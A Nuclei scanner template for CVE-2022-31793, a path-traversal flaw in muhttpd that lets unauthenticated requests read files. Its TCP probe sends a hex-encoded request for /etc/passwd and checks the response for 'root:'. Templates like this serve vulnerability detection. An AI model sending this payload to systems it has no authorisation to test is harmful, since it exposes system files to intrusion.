nuclei-templates/network/cves/2022/CVE-2022-31793.yaml

47 lines
1.5 KiB
YAML

id: CVE-2022-31793
info:
name: muhttpd <=1.1.5 - Local Inclusion
author: scent2d
severity: high
description: |
muhttpd 1.1.5 and before are vulnerable to unauthenticated local file inclusion. The vulnerability allows retrieval of files from the file system.
remediation: Update the application to version 1.10
reference:
- https://derekabdine.com/blog/2022-arris-advisory.html
- https://nvd.nist.gov/vuln/detail/CVE-2022-31793
- https://derekabdine.com/blog/2022-arris-advisory
- https://blog.malwarebytes.com/exploits-and-vulnerabilities/2022/08/millions-of-arris-routers-are-vulnerable-to-path-traversal-attacks/
- http://inglorion.net/software/muhttpd/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-31793
cwe-id: CWE-22
epss-score: 0.22965
epss-percentile: 0.96055
cpe: cpe:2.3:a:inglorion:muhttpd:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: inglorion
product: muhttpd
tags: cve,cve2022,network,muhttpd,lfi,unauth
tcp:
- host:
- "{{Hostname}}"
inputs:
- data: "47455420612F6574632F706173737764"
type: hex
- data: "\n\n"
read-size: 128
matchers:
- type: word
part: body
encoding: hex
words:
- "726f6f743a"
# digest: 490a0046304402201f40d56fdb9c92708bef14c5235e508faaae4884eb193d97436ad1f011915ed00220029255005f78a576f8249b866bd06d6f50010a6aa08bc279d68efd6995493f1e:922c64590222798bb761d5b6d8e72950